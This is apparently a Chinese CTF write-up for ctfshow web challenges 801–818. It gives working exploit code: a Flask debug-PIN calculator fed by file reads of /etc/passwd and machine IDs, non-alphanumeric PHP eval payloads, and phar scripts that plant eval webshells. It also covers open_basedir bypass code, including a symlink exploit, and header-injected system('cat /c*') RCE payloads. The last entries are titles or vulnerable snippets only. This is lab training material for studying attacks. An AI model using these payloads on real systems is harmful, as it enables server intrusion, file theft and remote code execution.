WEB入门——常用姿势
web801 flask算PIN
非预期解:
/file?filename=/flag
预期解:计算pin码
原理:
probably_public_bits包含4个字段,分别为
username
modname
getattr(app, 'name', app.class.name)
getattr(mod, 'file', None)
其中username对应的值为当前主机的用户名
linux可以查看/etc/passwd
windows可以查看C:/Users目录
modname的值为'flask.app'
getattr(app, 'name', app.class.name)对应的值为'Flask'
getattr(mod, 'file', None)对应的值为app包的绝对路径
private_bits包含两个字段,分别为
str(uuid.getnode())
get_machine_id()
其中str(uuid.getnode())为网卡mac地址的十进制值
在inux系统下得到存储位置为/sys/class/net/(对应网卡)/address 一般为eth0
windows中cmd执行config /all查看
get_machine_id()的值为当前机器唯一的机器码
对于非docker机每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_id
docker机则读取/proc/self/cgroup。
windows的id在注册表中 (HKEY_LOCAL_MACHINE->SOFTWARE->Microsoft->Cryptography)
查用户名:
/file?filename=/etc/passwd
返回:
root
先查MAC地址:
/file?filename=/sys/class/net/eth0/address
返回:
02:42:ac:0c:c2:c8
再查machine-id
/file?filename=/proc/sys/kernel/random/boot_id
/file?filename=/proc/self/cgroup
返回:
225374fa-04bc-4346-9f39-48fa82829ca9
d261a8d328ae3e982fb497f7f040f774f6410668fb1848977aa2535fe439d26a
拼接:
225374fa-04bc-4346-9f39-48fa82829ca9d261a8d328ae3e982fb497f7f040f774f6410668fb1848977aa2535fe439d26a
python3.8要用sha1 python3.6要用MD5
旧版的只需要读取/proc/self/cgroup即可,但是新增需要在前面再拼上/etc/machine-id或者/proc/sys/kernel/random/boot_id的值
# sha1
import hashlib
import getpass
from flask import Flask
from itertools import chain
import sys
import uuid
import typing as t
username = 'root'
app = Flask(__name__)
modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__)
mod = sys.modules.get(modname)
mod = getattr(mod, "__file__", None)
probably_public_bits = [
username, # 用户名
modname, # 一般固定为flask.app
getattr(app, "__name__", app.__class__.__name__), # 固定,一般为Flask
'/usr/local/lib/python3.8/site-packages/flask/app.py', # 主程序(app.py)运行的绝对路径
]
print(probably_public_bits)
mac = '02:42:ac:0c:c2:c8'.replace(':', '')
mac = str(int(mac, base=16))
private_bits = [
mac, # mac地址十进制
"225374fa-04bc-4346-9f39-48fa82829ca9d261a8d328ae3e982fb497f7f040f774f6410668fb1848977aa2535fe439d26a"
]
print(private_bits)
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x: x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
print(rv)
旧版
#MD5
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb'# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'25214234362297',# str(uuid.getnode()), /sys/class/net/ens33/address
'0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'# get_machine_id(), /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
访问:
/console
输入python代码:
import os
os.popen("ls /").read()
os.popen("cat /flag").read()

web802 无字母数字命令执行
<?php
error_reporting(0);
highlight_file(__FILE__);
$cmd = $_POST['cmd'];
if(!preg_match('/[a-z]|[0-9]/i',$cmd)){
eval($cmd);
}
E:\所有项目\江苏学习\无字母数字绕过正则表达式>php 取反.php
[+]your function: system
[+]your command: cat flag.php
[*] (~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F);
web803 phar文件包含??
<?php
error_reporting(0);
highlight_file(__FILE__);
$file = $_POST['file'];
$content = $_POST['content'];
if(isset($content) && !preg_match('/php|data|ftp/i',$file)){
if(file_exists($file.'.txt')){
include $file.'.txt';
}else{
file_put_contents($file,$content);
}
}
题目web目录下没有写权限,需要写到其他地方比如/tmp下
首先生成phar文件,保存为shell.phar
<?php
$phar=new Phar("shell.phar");
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->addFromString("a.txt","<?php eval(\$_POST[1]);?>");
$phar->stopBuffering();
?>
接着上传文件
import requests
url="http://de513739-3045-4005-a674-c4518a55fb20.challenge.ctf.show/"
data1={'file':'/tmp/a.phar','content':open('shell.phar','rb').read()}
data2={'file':'phar:///tmp/a.phar/a','content':'123','1':'system("cat f*");'}
requests.post(url,data=data1)
r=requests.post(url,data=data2)
print(r.text)
web804 phar反序列化??
<?php
error_reporting(0);
highlight_file(__FILE__);
class hacker{
public $code;
public function __destruct(){
eval($this->code);
}
}
$file = $_POST['file'];
$content = $_POST['content'];
if(isset($content) && !preg_match('/php|data|ftp/i',$file)){
if(file_exists($file)){
unlink($file);
}else{
file_put_contents($file,$content);
}
}
保存为shell.phar
<?php
class hacker{
public $code;
public function __destruct(){
eval($this->code);
}
}
$a=new hacker();
$a->code="system('cat f*');";
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar->setMetadata($a);
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->addFromString("a.txt", "<?php eval(\$_POST[1]);?>");
$phar->stopBuffering();
?>
接着上传文件
import requests
url="http://a3a044cf-dfa0-4aa5-afab-d7e4ab160053.challenge.ctf.show/"
data1={'file':'/tmp/a.phar','content':open('shell.phar','rb').read()}
data2={'file':'phar:///tmp/a.phar','content':'123'}
requests.post(url,data=data1)
r=requests.post(url,data=data2)
print(r.text)
web805 open_basedir绕过
<?php
error_reporting(0);
highlight_file(__FILE__);
eval($_POST[1]);
解释:
open_basedir是php.ini中的一个配置选项,可用于将用户访问文件的活动范围限制在指定的区域。
设置open_basedir=/var/www/html/,通过web访问服务器的用户就无法获取服务器上除了/var/www/html/这个目录以外的文件。
假设这时连接一个webshell,当webshell工具尝试遍历和读取其他目录时将会失败
思路1:利用 DirectoryIterator+glob://
DirectoryIterator 类提供了一个简单的界面来查看文件系统目录的内容。
DirectoryIterator是php5中增加的一个类,为用户提供一个简单的查看目录的接口。
DirectoryIterator与glob://结合将无视open_basedir,列举出根目录下的文件
<?php
$c = "glob:///*";
$a = new DirectoryIterator($c);
foreach($a as $f){
echo($f->__toString().'<br>');
}
?>
POST:
1=$c="glob:///*";$a=new DirectoryIterator($c);foreach($a as $f){echo($f->__toString().'<br>');}
思路2:利用opendir()+readdir()+glob://
opendir作用为打开目录句柄
readdir作用为从目录句柄中读取目录
<?php
$a = $_GET['c'];
if ( $b = opendir($a) ) {
while ( ($file = readdir($b)) !== false ) {
echo $file."<br>";
}
closedir($b);
}
?>
GET:
?c=glob:///*
POST:
1=$a=$_GET['c'];if($b=opendir($a)){while(($file=readdir($b))!==false){echo $file."<br>";}closedir($b);}
思路3:利用 scandir()+glob://
1=var_dump(scandir('glob:///*'));
思路4:利用symlink绕过
分析一下poc过程:
- 创建A/B/C/D目录,并返回到起始目录
symlink("A/B/C/D","SD"):创建符号文件SD,指向A/B/C/Dsymlink("SD/../../../../etc/passwd","POC"):创建符号文件POC,指向SD/../../../../etc/passwd。此时SD=A/B/C/D,而A/B/C/D../../../../=/var/www/html,符合open_basedir的限制,创建成功。- unlink("SD"):删除软链接SD,并创建一个文件夹,此时SD作为一个真正的目录存在。那么访问POC,指向的是
SD/../../../../etc/passwd,SD/../../../就是/var目录,/var/../etc/passwd恰好可以读取到etc目录下的passwd,从而达到跨目录访问的效果
只能Bypass open_basedir来列举根目录的文件,不能列举出其他非根目录和open_basedir指定的目录中的文件。
<?php
/*
* by phithon
* From https://www.leavesongs.com
* detail: http://cxsecurity.com/issue/WLB-2009110068
*/
header('content-type: text/plain');
error_reporting(-1);
ini_set('display_errors', TRUE);
printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion());
printf("disable_functions: %s\n", ini_get('disable_functions'));
$file = str_replace('\\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');
$relat_file = getRelativePath(__FILE__, $file);
$paths = explode('/', $file);
$name = mt_rand() % 999;
$exp = getRandStr();
mkdir($name);
chdir($name);
for($i = 1 ; $i < count($paths) - 1 ; $i++){
mkdir($paths[$i]);
chdir($paths[$i]);
}
mkdir($paths[$i]);
for ($i -= 1; $i > 0; $i--) {
chdir('..');
}
$paths = explode('/', $relat_file);
$j = 0;
for ($i = 0; $paths[$i] == '..'; $i++) {
mkdir($name);
chdir($name);
$j++;
}
for ($i = 0; $i <= $j; $i++) {
chdir('..');
}
$tmp = array_fill(0, $j + 1, $name);
symlink(implode('/', $tmp), 'tmplink');
$tmp = array_fill(0, $j, '..');
symlink('tmplink/' . implode('/', $tmp) . $file, $exp);
unlink('tmplink');
mkdir('tmplink');
delfile($name);
$exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";
$exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";
echo "\n-----------------content---------------\n\n";
echo file_get_contents($exp);
delfile('tmplink');
function getRelativePath($from, $to) {
// some compatibility fixes for Windows paths
$from = rtrim($from, '\/') . '/';
$from = str_replace('\\', '/', $from);
$to = str_replace('\\', '/', $to);
$from = explode('/', $from);
$to = explode('/', $to);
$relPath = $to;
foreach($from as $depth => $dir) {
// find first non-matching dir
if($dir === $to[$depth]) {
// ignore this directory
array_shift($relPath);
} else {
// get number of remaining dirs to $from
$remaining = count($from) - $depth;
if($remaining > 1) {
// add traversals up to first matching dir
$padLength = (count($relPath) + $remaining - 1) * -1;
$relPath = array_pad($relPath, $padLength, '..');
break;
} else {
$relPath[0] = './' . $relPath[0];
}
}
}
return implode('/', $relPath);
}
function delfile($deldir){
if (@is_file($deldir)) {
@chmod($deldir,0777);
return @unlink($deldir);
}else if(@is_dir($deldir)){
if(($mydir = @opendir($deldir)) == NULL) return false;
while(false !== ($file = @readdir($mydir)))
{
$name = File_Str($deldir.'/'.$file);
if(($file!='.') && ($file!='..')){delfile($name);}
}
@closedir($mydir);
@chmod($deldir,0777);
return @rmdir($deldir) ? true : false;
}
}
function File_Str($string)
{
return str_replace('//','/',str_replace('\\','/',$string));
}
function getRandStr($length = 6) {
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$randStr = '';
for ($i = 0; $i < $length; $i++) {
$randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
}
return $randStr;
}
思路5:利用chdir()与ini_set()组合
1=mkdir(yu);chdir(yu);
ini_set('open_basedir','..');
chdir('..');chdir('..');chdir('..');chdir('..');
ini_set('open_basedir','/');
var_dump(scandir('/'));
1=mkdir(yu);chdir(yu);
ini_set('open_basedir','..');
chdir('..');chdir('..');chdir('..');chdir('..');
ini_set('open_basedir','/');
readfile('/ctfshowflag');
web806 php无参RCE
<?php
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
?>
目标:构造一个只由函数调用组成的 payload,最终实现任意命令执行
?code=var_dump(getallheaders());
返回:
array(12) {
["X-Real-Ip"]=>
string(14) "27.205.110.229"
["X-Forwarded-Proto"]=>
string(4) "http"
["X-Forwarded-For"]=>
string(25) "27.205.110.229, 127.0.0.1"
["Upgrade-Insecure-Requests"]=>
string(1) "1"
["Dnt"]=>
string(1) "1"
["Accept-Language"]=>
string(35) "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3"
["Accept-Encoding"]=>
string(17) "gzip, deflate, br"
["Accept"]=>
string(63) "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
["User-Agent"]=>
string(73) "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
["Host"]=>
string(55) "2241a1f8-2e65-4400-81c3-9d17a6e54c0e.challenge.ctf.show"
["Content-Length"]=>
string(0) ""
["Content-Type"]=>
string(0) ""
}
不在首尾,就碰运气了
GET /?code=eval(array_rand(array_flip(getallheaders()))); HTTP/1.1
Host: 2241a1f8-2e65-4400-81c3-9d17a6e54c0e.challenge.ctf.show
User-Agent: system('cat /c*');//
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: system('cat /c*');//
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
GET:
?code=eval(array_rand(array_flip(getallheaders())));
请求头:
User-Agent: system('cat /c*');//
Accept-Language: system('cat /c*');//
多放几次试试运气
web807 反弹shell
web808 卡临时文件包含
web809 pear文件包含/RCE
web810 SSRF打PHP-FPM
web811 file_put_contents打PHP-FPM
web812 PHP-FPM未授权
web813 劫持mysqli
web814 劫持getuid
web815 劫持构造器
web816 临时文件利用
web817
$file = $_GET['file'];
if(isset($file) && preg_match("/^\/(\w+\/?)+$/", $file)){
shell_exec(shell_exec("cat $file"));
}
web818
$env = $_GET['env'];
if(isset($env)){
putenv($env);
system("echo ctfshow");
}else{
system("ps aux");
}

浙公网安备 33010602011771号